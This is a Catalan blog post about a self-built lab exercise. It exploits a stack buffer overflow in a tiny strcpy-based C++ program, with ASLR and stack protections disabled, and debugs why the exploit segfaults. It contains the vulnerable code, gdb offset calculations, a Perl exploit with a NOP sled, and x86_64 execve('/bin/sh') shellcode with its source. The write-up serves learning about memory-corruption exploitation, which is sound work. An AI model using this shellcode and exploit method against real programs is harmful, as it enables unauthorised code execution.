Explotació d'un desbordament de buffer a la pila del programa

5 minuts de lectura Data de publicació: 2024-02-17

Introducció

Estic realitzant unes proves explotant un desbordament de buffer a la pila d'un programa senzill que he creat, però estic arribant al final de la meva explotació i no acabo d'entendre perque el meu codi explotable falla. Crec que estic oblidant alguna cosa, així que obro aquesta entrada per esbrinar el que passa i trobar-hi una solució.

El programa vulnerable a explotar és el següent:

#include <iostream>
#include <cstring>
using namespace std;
    
int main(int argc, char* argv[]) {
    
    char output[200];
    
    const char* source = argv[1];
    
    strcpy(output, source);
    
    cout << "Output string: " << output << endl;
    
    return 0;
}

Com es pot observar no te massa història, un programa senzill amb un buffer predeterminat de 200 caràcters on en base a un argument d'entrada, es copia aquest valor al buffer mitjançant la funció strcpy. Aquesta funció strcpy, és una de les funcions no segures del llenguatge ja que no comprova la longitud del buffer de destinació. Al no comprovar la longitud podria succeïr que el buffer d'entrada fos molt més gran que el buffer de destinació i això comportaria sobrescriure dades a posicions no controlades de memòria.

Abans de tot i per no oblidar-me'n, deshabilito el ASLR en el meu ordinador amb arquitectura intel de 64 bits i compilo el programa excloent les proteccions de la pila:

g++ strcpy_sample.cpp -fno-stack-protector -z execstack -g -o sut.exe

Ara vaig a depurar el programa amb gdb per calcular el desplaçament i obtenir la direcció de memòria de retorn de la funció:

Imatge 1: Execució del programa

He utilitzat una entrada de 200 caràcters 'A' per omplir el buffer i veure millor la pila del programa. La direcció de retorn de la funció esta a la posició 0x7fffffffdda8 de memòria i la variable output esta a la direcció 0x7fffffffdcd0. Observem els valors de memòria de la pila:

Ara, per a calcular el desplaçament, amb gdb faig:

(gdb) p/d 0x7fffffffdda8 - 0x7fffffffdcd0

Un cop obtinc el desplaçament, selecciono una adreça de memòria vàlida a l'atzar pero que estigui dintre de la pila per utilitzar-la com a adreça de retorn. Per exemple utilitzaré l'adreça 0x7fffffffdd30

Llavors, sabent aquests dos paràmetres, he escrit un petit exploit en llenguatge perl:

#!/usr/bin/perl
 
$shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; # 30 bytes
$address = "\x30\xdd\xff\xff\xff\x7f\x00\x00"; #0x7fffffffdd30; return address in big-endian - 8 bytes
$nop = "\x90"x186; #186 bytes
 
print $nop . $shellcode . $address;

La shellcode ocupa 30 bytes i l'he obtingut d'aquí. L'exploit de perl retorna una cadena de 224bytes = 186bytes de NOPs + 30 bytes de la shellcode + 8bytes de l'adreça de retorn = offset + @retorn

Executo el gdb pasant-li l'exploit com entrada i la pila em queda en el següent estat:

El que ha passat aquí es que la posició de memòria de l'adreça de retorn ha canviat:

rip at 0x7fffffffdda8 --> rip at 0x7fffffffdd88

Això és degut a que la mida del buffer d'entrada (argv[1]) ha canviat i es mes gran, abans eren 200bytes i ara son 216bytes, i per tant al copiar el buffer s'ha ampliat 32bytes el desplaçament. Si torno a calcular el desplaçament entre la posició de l'adreça de memòria de retorn i la posició de la variable output segueixen sortint 216bytes.

(gdb) p/d 0x7fffffffdd88 - 0x7fffffffdcb0

Això es així perque la variable output s'ha desbordat, però segueix ocupant 200bytes de memòria. En qualsevol cas, he encertat i l'adreça de retorn s'ha sobreescrit amb l'adreça que volia. Si ens hi fixem, a l'imatge anterior la posició de memòria de l'adreça de retorn 0x7fffffffdd88 conté el valor de l'adreça 0x7fffffffdd30.

Si continuo amb l'execució hauria de saltar a la posició de memòria que hem seleccionat a l'atzar, executar els NOPs i finalment la shellcode, per així obtenir la shell. Contrariament a lo pronosticat, el programa acaba amb un error de fallada de segment i sembla ser que no executa la shellcode:

Què ha succeit? Doncs bé, per esbrinar-ho depurarem els programa pas a pas per veure quins valors prenen les diferents adreçes de memòria de la pila, instrucció a instrucció.

Codi de la shellcode:

# Linux/x86_64 execve("/bin/sh"); 30 bytes shellcode
# Date: 2010-04-26
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux
 
/*
    ; execve("/bin/sh", ["/bin/sh"], NULL)
 
    section .text
            global _start
 
    _start:
            xor     rdx, rdx
            mov     qword rbx, '//bin/sh'
            shr     rbx, 0x8
            push    rbx
            mov     rdi, rsp
            push    rax
            push    rdi
            mov     rsi, rsp
            mov     al, 0x3b
            syscall
*/
 
int main(void)
{
    char shellcode[] =
    "\x48\x31\xd2"                                  // xor    %rdx, %rdx
    "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov	$0x68732f6e69622f2f, %rbx
    "\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
    "\x53"                                          // push   %rbx
    "\x48\x89\xe7"                                  // mov    %rsp, %rdi
    "\x50"                                          // push   %rax
    "\x57"                                          // push   %rdi
    "\x48\x89\xe6"                                  // mov    %rsp, %rsi
    "\xb0\x3b"                                      // mov    $0x3b, %al
    "\x0f\x05";                                     // syscall
 
    (*(void (*)()) shellcode)();
     
    return 0;
}

La pròpia shellcode executa instruccions push i aquesta sobreescriu el seu propi codi dins de la pila, aquí hi ha la prova:

Referències